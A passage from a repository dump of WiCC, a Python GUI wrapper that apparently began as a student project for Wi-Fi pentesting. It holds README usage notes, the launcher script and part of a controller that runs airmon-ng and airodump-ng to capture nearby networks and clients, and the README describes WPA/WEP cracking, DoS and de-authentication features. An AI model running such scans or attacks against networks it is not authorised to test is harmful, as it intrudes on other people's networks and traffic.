37 | 38 | # Requirements 39 | 40 | You will need to run the application with root privileges, and using some version of Python 3+. Also, you need to have installed *aircrack-ng suite* and *ifconfig*, the rest of the tools mentioned in the section *Project insight* are optional. If any of the mentioned tools is not installed, the application will ask you to automatically install it. Of course, as this is a wireless pentesting tool, you will need some wireless card to perform the scans/attacks. In case you miss some of these requirements, you won't be able to initiate the tool. 41 | 42 | Is recommendable to run it on **Kali Linux** or **Parrot OS** since both have the required tools preinstalled. Also it is highly recommended to use a wireless card that supports both monitor mode and packet injection. In case your wireless card doesn't support monitor mode, you won't be able to execute the attacks and scans. 43 |

44 | 45 | # What is monitor mode? 46 | 47 | Monitor mode, or RFMON (Radio Frequency MONitor) mode, allows a computer with a wireless network interface controller (WNIC) to monitor all traffic received on a wireless channel. Unlike promiscuous mode, which is also used for packet sniffing, monitor mode allows packets to be captured without having to associate with an access point or ad hoc network first. Monitor mode only applies to wireless networks, while promiscuous mode can be used on both wired and wireless networks. Monitor mode is one of the eight modes that 802.11 wireless cards can operate in: Master (acting as an access point), Managed (client, also known as station), Ad hoc, Repeater, Mesh, Wi-Fi Direct, TDLS and Monitor mode. 48 | 49 | Usually the wireless adapter is unable to transmit in monitor mode and is restricted to a single wireless channel, though this is dependent on the wireless adapter's driver, its firmware, and features of its chipset. Also, in monitor mode the adapter does not check to see if the cyclic redundancy check (CRC) values are correct for packets captured, so some captured packets may be corrupted. 50 | 51 | # Usage 52 | 53 | The tool is a framework utility, but you need to run it from the command line. To do so, you need to run under root privileges and Python 3+: 54 | 55 | > `$ sudo python3 WiCC.py [options]` 56 | 57 |

58 | There are also some advanced options that you can choose from the command line. These options are originaly meant for debugging purposes, but you may find some of them useful: 59 | * `-a` Auto-select the first available network interface. 60 | * `-i` Ignore local save files. 61 | * `-p` Only basic pop-ups mode. 62 | * `-v` Select the verbose level for the output (default: 0, no output) 63 | 64 | * `-v` Level 1 (basic output) 65 | 66 | * `-vv` Level 2 (advanced output) 67 | 68 | * `-vvv` Level 3 (advanced output and executed commands) 69 | 70 | You can always view the help with the option `--help` or `-h` 71 |

72 |

73 | ![attack_wpa_gif](https://media.giphy.com/media/ZBDcgn9nMvCZUGSJrf/giphy.gif) 74 |

75 | 76 | # Final release 77 | The version 1.0 includes password cracking (WEP and WPA/WPA2 networks), DoS attacks, client de-authentication, and data decryption funtionalities. 78 | If you want to get in contact to notify us about some bugs you encountered, or about some feature you thing could be interesting to add, you can use the contact information showed on our GitHub profiles listed below. 79 |

80 | 81 | # Authors 82 | 83 | * **Miguel Yanes Fernández** - *Project Manager, back-end developer, and documentation* - Github: [MiguelYanes](https://github.com/MiguelYanes) 84 | * **Pablo Sanz Alguacil** - *UX designer, front-end developer, and documentation* - Github: [pabloibiza](https://github.com/pabloibiza) 85 | * **Adam Chalkley** - *Documentation and research* - [adamchalkley2019](https://github.com/adamchalkley2019) 86 | 87 | See also the list of [contributors](https://github.com/pabloibiza/WiCC/contributors) who participated in this project. 88 |

89 | 90 | # Source License 91 | This project is under license GNU GPL 3.0 92 |

93 | ![](https://www.gnu.org/graphics/gplv3-with-text-136x68.png) 94 | 95 | 96 | -------------------------------------------------------------------------------- /USER MANUAL.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kimocoder/WiCC/1f5ac5f20d4e85364316a5b5ea0297300bac2b53/USER MANUAL.pdf -------------------------------------------------------------------------------- /WiCC.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | WiCC (Wifi Cracking Camp) 5 | GUI tool for wireless pentesting on WEP and WPA/WPA2 networks. 6 | Project developed by Pablo Sanz Alguacil, Miguel Yanes Fernández and Adan Chalkley, 7 | as the Group Project for the 3rd year of the Bachelor of Sicence in Computing in Digital Forensics and CyberSecurity 8 | at TU Dublin - Blanchardstown Campus 9 | """ 10 | 11 | from wicc_control import Control 12 | import sys 13 | import os 14 | import time 15 | import threading 16 | 17 | verbose_level = 0 18 | 19 | green = "\033[32m" 20 | orange = "\033[33m" 21 | blue = "\033[34m" 22 | white = "\033[0m" 23 | cyan = "\033[36m" 24 | light_blue = "\033[1;34m" 25 | light_cyan = "\033[1;36m" 26 | 27 | 28 | def show_message(message): 29 | """ 30 | Method to print a message if the verbose level is higher or equal to 1 31 | :param message: message to pring 32 | :return: none 33 | 34 | :Author: Miguel Yanes Fernández 35 | """ 36 | if verbose_level >= 1: 37 | print(message) 38 | 39 | 40 | if __name__ == '__main__': 41 | """ 42 | Main 43 | 44 | :Author: Miguel Yanes Fernández 45 | """ 46 | 47 | # check root privilege 48 | if os.getuid() != 0: 49 | print("\n\tError: script must be executed as root\n") 50 | sys.exit(1) 51 | 52 | # checks python version 53 | if sys.version_info[0] < 3: 54 | print("\n\tError: Must be executed with Python 3\n") 55 | sys.exit(1) 56 | 57 | exit = False 58 | print(cyan) 59 | print("=============================================" + light_blue) 60 | print(" __ __ ___________ ________ ") 61 | print(" / \ / \__\_ ___ \|_ ___ \ ") 62 | print(" \ \/\/ / / \ \// \ \/ " + blue) 63 | print(" \ /| \ \___\ \____ ") 64 | print(" \__/\__/ |__|\________/\________/ ") 65 | print("") 66 | print("") 67 | print(" Wifi Cracking Camp" + cyan) 68 | print("=============================================") 69 | print(blue) 70 | print("Version v1.0 - 20th of May 2019") 71 | print("Developed by:") 72 | print(" - Pablo Sanz Alguacil") 73 | print(" - Miguel Yanes Fernández") 74 | print(" - Adam Chankley") 75 | print("") 76 | print("Project page: https://github.com/pabloibiza/WiCC") 77 | print("License: GPLv3") 78 | 79 | auto_select = False # auto-select the network interface 80 | ignore_savefiles = False # ignore the generated local savefiles 81 | verbose_level = 0 82 | popups = True 83 | args = sys.argv[1:] 84 | 85 | options_message = "" 86 | for arg in args: 87 | print(light_cyan) 88 | if '-v' in arg: 89 | if verbose_level == 0: 90 | if arg == '-v': 91 | verbose_level = 1 92 | options_message += " *** Verbose level set to " + str(verbose_level) + "\n" 93 | elif arg == '-vv': 94 | verbose_level = 2 95 | options_message += "*** Verbose level set to " + str(verbose_level) + "\n" 96 | elif arg == '-vvv': 97 | verbose_level = 3 98 | options_message += " *** Verbose level set to " + str(verbose_level) + "\n" 99 | elif arg == '-a': 100 | if not auto_select: 101 | auto_select = True 102 | options_message += " *** Auto-select network interface\n" 103 | elif arg == '-i': 104 | if not ignore_savefiles: 105 | ignore_savefiles = True 106 | options_message += " *** Ignoring local savefiles\n" 107 | elif arg == '-p': 108 | if popups: 109 | popups = False 110 | options_message += " *** Not showing informational popups\n" 111 | elif arg == '--help' or arg == '-h': 112 | print("Viewing help") 113 | print("Usage: # python3 WiCC.py [option(s)]\n") 114 | print("Options (mainly for debugging purposes):") 115 | print(" -h | --help \tshow the help") 116 | print(" -a \t\tauto-select the first available network interface") 117 | print(" -i \t\tignore local save files") 118 | print(" -p \t\tnot show informational popups") 119 | print(" -v \t\tselect the verbose level for the program (default: 0, no output)") 120 | print("\t-v \tlevel 1 (basic output)") 121 | print("\t-vv \tlevel 2 (advanced output)") 122 | print("\t-vvv\tlevel 3 (advanced output and executed commands)\n") 123 | sys.exit(0) 124 | else: 125 | print("*** Unrecognized option " + arg) 126 | print("*** Use option --help to view the help and finish execution. Only for debugging purposes\n") 127 | sys.exit(0) 128 | print(options_message) 129 | print(white) 130 | 131 | control = Control() 132 | 133 | control.set_verbose_level(verbose_level) 134 | control.set_ignore_savefiles(ignore_savefiles) 135 | control.set_informational_popups(popups) 136 | control.set_auto_select(auto_select) 137 | 138 | install_required_cmd = ['echo', 'y', '|', 'apt-get', 'install', 'python3-tk', 'iw', 'net-tools', 'aircrack-ng'] 139 | install_optional_cmd = ['echo', 'y', '|', 'apt-get', 'install', 'pyrit', 'crunch', 'make', 'gcc'] 140 | 141 | software, some_missing, stop_execution, message = control.check_software() 142 | 143 | view_thread = threading.Thread(target=control.start_view) 144 | view_thread.start() 145 | view_thread.join(1) 146 | 147 | if some_missing: 148 | # variable 'software' is an array of pair [tool_name, boolean_if_its_installed] 149 | print("The following software is not installed:\n") 150 | for i in range(0, len(software)): 151 | if not software[i][1]: 152 | print("\t***Missing " + software[i][0]) 153 | print("\n") 154 | time.sleep(0) 155 | control.show_warning_notification(message) 156 | if stop_execution: 157 | install_required = input("Would you like to install the required mandatory software? (y): ") 158 | if install_required == 'y': 159 | control.execute_command(install_required_cmd) 160 | install_optional = input("Would you also like to install the optional software? (y): ") 161 | if install_optional == 'y': 162 | control.execute_command(install_optional_cmd) 163 | else: 164 | sys.exit(1) 165 | else: 166 | show_message("All required software is installed") 167 | 168 | time.sleep(1) 169 | 170 | 171 | control.show_info_notification(" Welcome to WiCC\n\nSelect an interface and press \"Scan networks\"" 172 | "to begin the process. \n\nIf you need help to use the application go the \"Help\" " 173 | "section.") 174 | 175 | show_message("Select an interface") 176 | while not control.get_running_stopped(): 177 | control.semGeneral.acquire(True) 178 | if control.semSelectInterface.acquire(False): 179 | control.semSelectInterface.release() 180 | control.semGeneral.release() 181 | control.scan_interfaces() 182 | time.sleep(1) 183 | elif control.semStartScan.acquire(False): 184 | show_message("Start scan") 185 | control.scan_networks() 186 | time.sleep(1) 187 | control.semRunningScan.release() 188 | control.semGeneral.release() 189 | show_message("Stop the scan to select a network") 190 | elif control.semRunningScan.acquire(False): 191 | control.semRunningScan.release() 192 | control.semGeneral.release() 193 | control.filter_networks() 194 | time.sleep(1) 195 | elif control.semStoppedScan.acquire(False): 196 | control.semGeneral.release() 197 | show_message("Scan stopped\nSelect a network or start a new scan") 198 | sys.exit(0) 199 | -------------------------------------------------------------------------------- /resources/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kimocoder/WiCC/1f5ac5f20d4e85364316a5b5ea0297300bac2b53/resources/icon.png -------------------------------------------------------------------------------- /resources/icon_medium.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kimocoder/WiCC/1f5ac5f20d4e85364316a5b5ea0297300bac2b53/resources/icon_medium.png -------------------------------------------------------------------------------- /resources/icon_small.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kimocoder/WiCC/1f5ac5f20d4e85364316a5b5ea0297300bac2b53/resources/icon_small.png -------------------------------------------------------------------------------- /resources/logo_circle.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kimocoder/WiCC/1f5ac5f20d4e85364316a5b5ea0297300bac2b53/resources/logo_circle.png -------------------------------------------------------------------------------- /resources/logo_circle_code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kimocoder/WiCC/1f5ac5f20d4e85364316a5b5ea0297300bac2b53/resources/logo_circle_code.png -------------------------------------------------------------------------------- /resources/rockyou.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kimocoder/WiCC/1f5ac5f20d4e85364316a5b5ea0297300bac2b53/resources/rockyou.txt -------------------------------------------------------------------------------- /resources/splash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kimocoder/WiCC/1f5ac5f20d4e85364316a5b5ea0297300bac2b53/resources/splash.png -------------------------------------------------------------------------------- /wicc_client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | WiCC (Wifi Cracking Camp) 5 | GUI tool for wireless pentesting on WEP and WPA/WPA2 networks. 6 | Project developed by Pablo Sanz Alguacil, Miguel Yanes Fernández and Adan Chalkley, 7 | as the Group Project for the 3rd year of the Bachelor of Sicence in Computing in Digital Forensics and CyberSecurity 8 | at TU Dublin - Blanchardstown Campus 9 | """ 10 | 11 | 12 | class Client: 13 | client_id = "" 14 | station_MAC = "" 15 | first_seen = "" 16 | last_seen = "" 17 | power = 0 18 | packets = 0 19 | bssid = "" 20 | probed_bssids = "" 21 | 22 | def __init__(self, id, station_MAC, first_seen, last_seen, power, packets, bssid, probed_bssids): 23 | self.client_id = id 24 | self.station_MAC = station_MAC 25 | self.first_seen = first_seen 26 | self.last_seen = last_seen 27 | self.power = power 28 | self.packets = packets 29 | self.bssid = bssid 30 | self.probed_bssids = probed_bssids 31 | 32 | def get_bssid(self): 33 | """ 34 | Getter for the bssid parameter 35 | :return: bssid of the client 36 | 37 | :Author: Miguel Yanes Fernández 38 | """ 39 | return self.bssid 40 | 41 | def get_mac(self): 42 | """ 43 | Getter fro the MAC parameter 44 | :return: station mac of the client 45 | 46 | :Author: Miguel Yanes Fernández 47 | """ 48 | return self.station_MAC 49 | 50 | def get_list(self): 51 | """ 52 | Create and return a list of parameters 53 | :return: list of all class parameters 54 | 55 | :Author: Miguel Yanes Fernández 56 | """ 57 | list = [] 58 | list.append(self.client_id) 59 | list.append(self.station_MAC) 60 | list.append(self.first_seen) 61 | list.append(self.first_seen) 62 | list.append(self.last_seen) 63 | list.append(self.power) 64 | list.append(self.power) 65 | list.append(self.packets) 66 | list.append(self.bssid) 67 | list.append(self.probed_bssids) 68 | 69 | return list 70 | -------------------------------------------------------------------------------- /wicc_control.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | WiCC (Wifi Cracking Camp) 5 | GUI tool for wireless pentesting on WEP and WPA/WPA2 networks. 6 | Project developed by Pablo Sanz Alguacil, Miguel Yanes Fernández and Adan Chalkley, 7 | as the Group Project for the 3rd year of the Bachelor of Sicence in Computing in Digital Forensics and CyberSecurity 8 | at TU Dublin - Blanchardstown Campus 9 | """ 10 | import subprocess 11 | 12 | from wicc_operations import Operation 13 | from wicc_model import Model 14 | from wicc_view import View 15 | from wicc_wpa import WPA 16 | from wicc_wep import WEP 17 | from wicc_view_popup import PopUpWindow 18 | 19 | from subprocess import Popen, PIPE 20 | 21 | import time 22 | import random 23 | import os 24 | import csv 25 | import threading 26 | import datetime 27 | 28 | 29 | class Control: 30 | model = "" # reference of the Model object (for the MVC communication) 31 | view = "" # reference of the View object (for the MVC communication) 32 | operations = "" # reference of the Operation object (for the operation notifies with View) 33 | popup = "" # PopupWindow object to create all different popups 34 | 35 | selected_interface = "" # selected interface by the user 36 | last_selectedInterface = "" # last selected interface, will be used in the auto-select mode 37 | selected_network = "" # selected target network for the attack/scan 38 | informational_popups = True # set by main, used to check if the program needs to show informational popups 39 | scan_stopped = False # to know if the network scan is running 40 | running_stopped = False # to know if the program is running (or if the view has been closed) 41 | auto_select = False # auto_select of the first available wireless interface (option -a in the console) 42 | cracking_completed = False # to know if the network cracking process has finished or not 43 | cracking_network = False # state of the network cracking process (if it has started or not) 44 | net_attack = "" # EncryptionType generic object, used to store the specific instance of the running attack 45 | verbose_level = 0 # level 1: minimal output, level 2: advanced output, level 3: advanced output and commands 46 | allows_monitor = True # to know if the wireless interface allows monitor mode 47 | spoof_mac = False # spoof a client's MAC address 48 | silent_attack = False # if the network attack should be run in silent mode 49 | ignore_local_savefiles = False # option to ignore the local files, for both creating and reading them 50 | scan_filter_parameters = ["ALL", "ALL"] # filter parameters to apply during the scan, [encryption, channel] 51 | main_directory = "" # directory where the program is running 52 | selected_wordlist = "/resources/rockyou.txt" # default project wordlist 53 | write_directory = "/tmp/WiCC" # directory to store all generated dump files, can be modified by the user 54 | local_folder = "/savefiles" # folder to locally save files 55 | path_directory_crunch = "" # directory to save generated lists with crunch 56 | generated_wordlist_name = "wicc_wordlist" # name of the generated files in generate_wordlist() 57 | hex_values = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'] # all hex values 58 | hex_values_even = ['2', '4', '6', '8', 'a', 'c', 'e'] # even hex values 59 | required_software = [["ifconfig", False], ["aircrack-ng", False], ["pyrit", False], ["cowpatty", False], 60 | ["pgrep", False], ["NetworkManager", False], ["genpmk", False], ["iw", False], 61 | ['crunch', False]] # software required to run the program 62 | mandatory_software = ['ifconfig', 'aircrack-ng', 'cowpatty'] # mandatory software (from the required one) 63 | 64 | __instance = None # used for singleton check 65 | timestamp = 0 # timestamp added to the created dump files (just for the initial scan) 66 | passwords_file_name = "cracked_networks" # file to store cracked networks information 67 | 68 | # Semaphores 69 | 70 | semSelectInterface = threading.Semaphore() # semahpore for the initial state, select an interface 71 | semStartScan = threading.Semaphore() # semaphore to notice to start the scan 72 | semRunningScan = threading.Semaphore() # semaphore for the running scan state 73 | semStoppedScan = threading.Semaphore() # semaphore for when the scan has stopped 74 | semGeneral = threading.Semaphore() # general semaphore 75 | 76 | def __init__(self): 77 | """ 78 | Control class constuctor. Includes a singleton check. 79 | Sets the object references, and sets the main directory with pwd 80 | The selected interface semaphore is initialized as released, the others as acquired 81 | """ 82 | if not Control.__instance: 83 | self.model = "" 84 | self.model = Model() 85 | self.view = View(self) 86 | self.popup = PopUpWindow() 87 | directory, err = self.execute_command(['pwd']) 88 | self.main_directory = directory.decode('utf-8')[:-1] 89 | self.local_folder = self.main_directory + self.local_folder 90 | self.selected_wordlist = self.main_directory + self.selected_wordlist 91 | self.__instance = self 92 | 93 | self.semStartScan.acquire(False) 94 | self.semRunningScan.acquire(False) 95 | self.semStoppedScan.acquire(False) 96 | else: 97 | raise Exception("Singleton Class") 98 | 99 | def start_view(self): 100 | """ 101 | Start the view window 102 | :return: 103 | 104 | :Author: Miguel Yanes Fernández 105 | """ 106 | self.view.build_window() 107 | 108 | def execute_command(self, command): 109 | """ 110 | Static method to execute a defined command. 111 | :param command: parameters for the command. Should be divided into an array. EX: ['ls, '-l'] 112 | :return: returns both stdout and stderr from the command execution 113 | 114 | :Author: Miguel Yanes Fernández 115 | """ 116 | if self.verbose_level == 3: 117 | output = "[Command]: " 118 | for word in command: 119 | output += word + " " 120 | self.show_message("\033[1;30m" + output + "\033[0m") 121 | 122 | process = Popen(command, stdout=PIPE, stderr=PIPE) 123 | return process.communicate() 124 | 125 | def show_message(self, message): 126 | """ 127 | Prints a message, if the verbose level is higher or equal to 2 128 | :param message: message to print 129 | :return: None 130 | 131 | :Author: Miguel Yanes Fernández 132 | """ 133 | if self.verbose_level >= 2: 134 | print(message) 135 | 136 | def set_verbose_level(self, level): 137 | """ 138 | Sets the class variable for the verbose level 139 | :param level: verbose level to set 140 | :return: None 141 | 142 | :Author: Miguel Yanes Fernández 143 | """ 144 | self.verbose_level = level 145 | 146 | def set_ignore_savefiles(self, ignore_savefiles): 147 | """ 148 | Set the variable to ignore the local savefiles 149 | :param ignore_savefiles: value of the variable 150 | :return: None 151 | 152 | :Author: Miguel Yanes Fernández 153 | """ 154 | self.ignore_local_savefiles = ignore_savefiles 155 | 156 | def set_informational_popups(self, info_popups): 157 | """ 158 | Set the variable for the informational popups 159 | :param info_popups: variable value 160 | :return: None 161 | 162 | :Author: Miguel Yanes Fernández 163 | """ 164 | self.informational_popups = info_popups 165 | 166 | def set_auto_select(self, auto_select): 167 | """ 168 | Sets the value for the auto select option 169 | :param auto_select: variable value 170 | :return: None 171 | 172 | :Author: Miguel Yanes Fernández 173 | """ 174 | self.auto_select = auto_select 175 | 176 | def set_semaphores_state(self, state): 177 | """ 178 | Method to set the semaphores value depending on the execution state (4 different states) 179 | :param state: execution state 180 | :return: None 181 | 182 | :Author: Miguel Yanes Fernández 183 | """ 184 | if state == "Select interface": 185 | self.semGeneral.release() 186 | self.semSelectInterface.release() 187 | self.semStartScan.acquire(False) 188 | self.semRunningScan.acquire(False) 189 | self.semStoppedScan.acquire(False) 190 | elif state == "Start scan": 191 | self.semGeneral.release() 192 | self.semSelectInterface.acquire(False) 193 | self.semStartScan.release() 194 | self.semRunningScan.acquire(False) 195 | self.semStoppedScan.acquire(False) 196 | elif state == "Running scan": 197 | self.semGeneral.release() 198 | self.semSelectInterface.acquire(False) 199 | self.semStartScan.acquire(False) 200 | self.semRunningScan.release() 201 | self.semStoppedScan.acquire(False) 202 | elif state == "Stop scan": 203 | self.semGeneral.release() 204 | self.semSelectInterface.acquire(False) 205 | self.semStartScan.acquire(False) 206 | self.semRunningScan.acquire(False) 207 | self.semStoppedScan.release() 208 | 209 | def check_software(self): 210 | """ 211 | Check whether the required software is installed or not. 212 | :return: list of software (array of booleans), a boolean to say if any is missing, and a boolean to know if its 213 | necessary to stop the execution (missing mandatory software) 214 | :Author: Miguel Yanes Fernández 215 | """ 216 | some_missing = False 217 | stop_execution = False 218 | 219 | info_msg = "You are missing some of the required software" 220 | mandatory_msg = "The following tool(s) are required to be able to run the program:\n" 221 | optional_msg = "The following tool(s) are not mandatory but highly recommended to run the software:\n" 222 | 223 | for i in range(0, len(self.required_software)): 224 | out, err = self.execute_command(['which', self.required_software[i][0]]) 225 | 226 | if int.from_bytes(out, byteorder="big") != 0: 227 | self.required_software[i][1] = True 228 | else: 229 | some_missing = True 230 | missing_software = self.required_software[i][0] 231 | 232 | for mand_software in self.mandatory_software: 233 | if mand_software == missing_software: 234 | stop_execution = True 235 | # Stops running if any mandatory software is missing 236 | 237 | mandatory_msg += " - " + missing_software + "\n" 238 | 239 | if (missing_software not in optional_msg) and (missing_software not in mandatory_msg): 240 | optional_msg += "\n - " + missing_software 241 | 242 | if some_missing: 243 | if mandatory_msg.count('\n') > 1: 244 | info_msg += "\n\n" + mandatory_msg 245 | 246 | if optional_msg.count('\n') > 1: 247 | info_msg += "\n\n" + optional_msg 248 | 249 | info_msg += "\n" 250 | 251 | return self.required_software, some_missing, stop_execution, info_msg 252 | 253 | def check_monitor_mode(self): 254 | """ 255 | Checks if the selected interface supports monitor mode 256 | (done with iw list, works better if only one interface is connected) 257 | :return: whether the selected interface supports monitor mode 258 | 259 | :Author: Miguel Yanes Fernández 260 | """ 261 | iw_cmd = ['iw', 'list'] 262 | iw_out, iw_err = self.execute_command(iw_cmd) 263 | 264 | iw_out = iw_out.decode('utf-8') 265 | lines = iw_out.split('\n') 266 | for line in lines: 267 | words = line.split(' ') 268 | if "monitor" in words: 269 | self.allows_monitor = True 270 | return 271 | 272 | def scan_interfaces(self): 273 | """ 274 | Scans all network interfaces. After filtering them (method filter_interfaces), 275 | scans available wireless interfaces. Finally calls the method filter_w_interface 276 | :return: none 277 | 278 | :Author: Miguel Yanes Fernández 279 | """ 280 | # ifconfig 281 | if_output, if_error = self.execute_command(['ifconfig']) 282 | if_output = if_output.decode("utf-8") 283 | if_error = if_error.decode("utf-8") 284 | 285 | if if_error is not None: 286 | w_interfaces = self.filter_interfaces(if_output) 287 | else: 288 | return 289 | 290 | self.model.clear_interfaces() 291 | 292 | # iw info 293 | interfaces = [] 294 | for w_interface in w_interfaces: 295 | 296 | # command example: iw wlan0 info 297 | iw_output, iw_error = self.execute_command(['iwconfig', w_interface]) 298 | iw_output = iw_output.decode("utf-8") 299 | iw_error = iw_error.decode("utf-8") 300 | iw_error = iw_error.split(':') 301 | # if there is no error, it is a wireless interface 302 | if iw_output: 303 | interfaces.append(self.filter_w_interface(iw_output)) 304 | if self.auto_select: 305 | self.selected_interface = self.filter_w_interface(iw_output)[0] 306 | self.last_selectedInterface = self.selected_interface 307 | self.set_semaphores_state("Start scan") 308 | self.view.set_buttons(False) 309 | elif self.last_selectedInterface != "": 310 | self.selected_interface = self.last_selectedInterface 311 | self.set_interfaces(interfaces) 312 | 313 | @staticmethod 314 | def filter_interfaces(str_ifconfig): 315 | """ 316 | Filters the input for all network interfaces 317 | :param str_ifconfig: string taken from the command execution stdout 318 | :return: array of names of all network interfaces 319 | 320 | :Author: Miguel Yanes Fernández 321 | """ 322 | interfaces = str_ifconfig.split('\n') 323 | names_interfaces = [] 324 | 325 | for line in interfaces: 326 | if line[:1] != " " and line[:1] != "": 327 | info = line.split(" ") 328 | info = info[0].split(":") 329 | 330 | name = info[0] 331 | names_interfaces.append(name) 332 | return names_interfaces 333 | 334 | def filter_w_interface(self, str_iw_info): 335 | """ 336 | Filters the input for a single wireless interface. First checks if the interface is wireless 337 | :param str_iw_info: stdout for the command to see the wireless interfaces 338 | :return: array with the Interface parameters 339 | 340 | :Author: Miguel Yanes Fernández 341 | """ 342 | # Interface: name address type power channel 343 | interface = ["", "", "", 0, 0] 344 | str_iw_info = str_iw_info.split("\n") 345 | for lines in str_iw_info: 346 | # if last line 347 | if lines == "": 348 | break 349 | 350 | # reads the data from each line 351 | line = lines.split() 352 | if interface[0] == "": 353 | interface[0] = line[0] 354 | if "Mode" in lines: 355 | for i in range(0, len(line)): 356 | if "Mode" in line[i]: 357 | str = line[i].split(":") 358 | interface[2] = str[1] 359 | break 360 | interface[1] = self.mac_checker(interface[0]) 361 | return interface 362 | 363 | def set_interfaces(self, interfaces): 364 | """ 365 | Using the model instance, sets the interfaces passed as parameter. First checks if there are any new interfaces 366 | :param interfaces: list of instances of the object Interface 367 | :return: none 368 | 369 | :Author: Miguel Yanes Fernández 370 | """ 371 | if not self.model.compare_interfaces(interfaces): 372 | for interface in interfaces: 373 | self.model.add_interface(interface[0], interface[1], interface[2], interface[3], interface[4]) 374 | self.notify_view() 375 | 376 | def scan_networks(self): 377 | """ 378 | Scan all the networks with airodump-ng. Executes the scan concurrently in a thread. Writes the output of the 379 | command to a file with a timestamp 380 | This file is then passed to the method filter_networks 381 | :return: none 382 | 383 | :Author: Miguel Yanes Fernández & Pablo Sanz Alguacil 384 | """ 385 | self.model.clear_networks() 386 | self.notify_view() 387 | 388 | if not self.model.get_mac(self.selected_interface): 389 | self.selected_interface = self.selected_interface[:-3] 390 | self.stop_scan() 391 | self.selected_interface = "" 392 | if not self.auto_select: 393 | self.show_warning_notification("Card already in monitor mode.\nPlease, re-select the wireless interface") 394 | self.show_message("Card already in monitor mode") 395 | self.view.set_buttons(True) 396 | self.set_semaphores_state("Select interface") 397 | self.model.clear_interfaces() 398 | return False 399 | 400 | scan_info_thread = threading.Thread(target=self.show_info_notification, 401 | args=(" - Scanning networks -\nStop the scan to select a network",)) 402 | scan_info_thread.start() 403 | 404 | self.check_monitor_mode() 405 | 406 | if not self.allows_monitor: 407 | self.show_info_notification("The selected interface doesn't support monitor mode") 408 | self.set_semaphores_state("Select interface") 409 | return False 410 | 411 | self.scan_stopped = False 412 | 413 | tempfile = self.write_directory + "/net_scan_" 414 | 415 | self.execute_command(['mkdir', self.write_directory]) 416 | 417 | airmon_cmd = ['airmon-ng', 'start', self.selected_interface] 418 | interface = self.selected_interface + 'mon' 419 | self.execute_command(airmon_cmd) 420 | 421 | self.timestamp = int(datetime.datetime.now().timestamp() * 1000000) # multiplied to get the full timestamp 422 | tempfile += str(self.timestamp) 423 | 424 | command = ['airodump-ng', interface, '--write', tempfile, '--output-format', 'csv'] 425 | 426 | if self.scan_filter_parameters[0] != "ALL": 427 | command.append('--encrypt') 428 | command.append(self.scan_filter_parameters[0]) 429 | if self.scan_filter_parameters[1] != "ALL": 430 | command.append('--channel') 431 | command.append(self.scan_filter_parameters[1]) 432 | 433 | thread = threading.Thread(target=self.execute_command, args=(command,)) 434 | thread.start() 435 | 436 | return True 437 | 438 | def filter_networks(self): 439 | """ 440 | Filters the input from the csv file (opens the file and reads it) 441 | Checks for a exception when reading the file. If there is an exception, tries to fix the problem and 442 | notifies the user with a warning popup 443 | :return: none 444 | 445 | :Author: Miguel Yanes Fernández 446 | """ 447 | tempfile = self.write_directory + "/net_scan_" 448 | tempfile += str(self.timestamp) 449 | tempfile += '-01.csv' 450 | 451 | networks = [] 452 | clients = [] 453 | first_empty_line = False 454 | second_empty_line = False 455 | try: 456 | with open(tempfile, newline='') as csvfile: 457 | csv_reader = csv.reader(csvfile, delimiter=',') 458 | for row in csv_reader: 459 | 460 | if row == [] and not first_empty_line: 461 | first_empty_line = True 462 | elif row == [] and not second_empty_line: 463 | second_empty_line = True 464 | elif second_empty_line: 465 | clients.append(row) 466 | else: 467 | networks.append(row) 468 | 469 | self.set_networks(networks) 470 | self.set_clients(clients) 471 | self.notify_view() 472 | return True 473 | except: 474 | try: 475 | # check if the problem was because the interface was already in monitor mode, and try to fix it 476 | if self.selected_interface[-3:] == 'mon': 477 | self.selected_interface = self.selected_interface[:-3] 478 | self.show_message("Interface was already in monitor mode, resetting to: " + self.selected_interface) 479 | self.stop_scan() 480 | self.scan_networks() 481 | return True 482 | self.show_message(" * Error * - Wireless card may not support monitor mode") 483 | self.show_warning_notification("Error while scanning networks. \n" 484 | "The selected wireless card may not support Monitor mode") 485 | self.selected_interface = "" 486 | self.stop_scan() 487 | self.view.set_buttons(True) 488 | self.set_semaphores_state("Select interface") 489 | return False 490 | except Exception: 491 | # Unknown exception. Tries to fix it by resetting the interface, but may not work 492 | out, err = self.execute_command(['airmon-ng', 'stop', self.selected_interface]) 493 | self.execute_command(['NetworkManager']) 494 | if self.auto_select: 495 | return False 496 | exception_msg = "Error while accessing temporary dump files" 497 | if err == b'': 498 | # if there is no error when resetting the wireless card 499 | exception_msg += "\n\nThe error may be fixed automatically. " \ 500 | "Please close this window and re-select the network interface." \ 501 | "\n\nIf this error persists, close the program and re-plug your wireless card" 502 | else: 503 | # if there is an error when resetting the wireless card. The users must solve this by themselves. 504 | exception_msg += "\n\nThe error couldn't be fixed automatically. Please reconnect or reconfigure " \ 505 | "your wireless card" 506 | self.show_message(Exception.args) 507 | self.show_warning_notification(exception_msg) 508 | self.view.set_buttons(True) 509 | return False 510 | 511 | def set_networks(self, networks): 512 | """ 513 | Using the model instance, sets the new scanned networks (all of them, overwriting the old ones) 514 | :param networks: list of instances of objects from the class Network 515 | :return: none 516 | 517 | :Author: Miguel Yanes Fernández 518 | """ 519 | self.model.set_networks(networks) 520 | 521 | def set_clients(self, clients): 522 | """ 523 | Given a list of clients, tells the model to store them 524 | :param clients: list of parameters of clients 525 | :return: none 526 | 527 | :Author: Miguel Yanes Fernández 528 | """ 529 | self.model.set_clients(clients) 530 | 531 | def has_selected_interface(self): 532 | """ 533 | Method to check if there is a selected wireless interface 534 | :return: true or false whether the selected interface exists or is null 535 | 536 | :Author: Miguel Yanes Fernández 537 | """ 538 | return 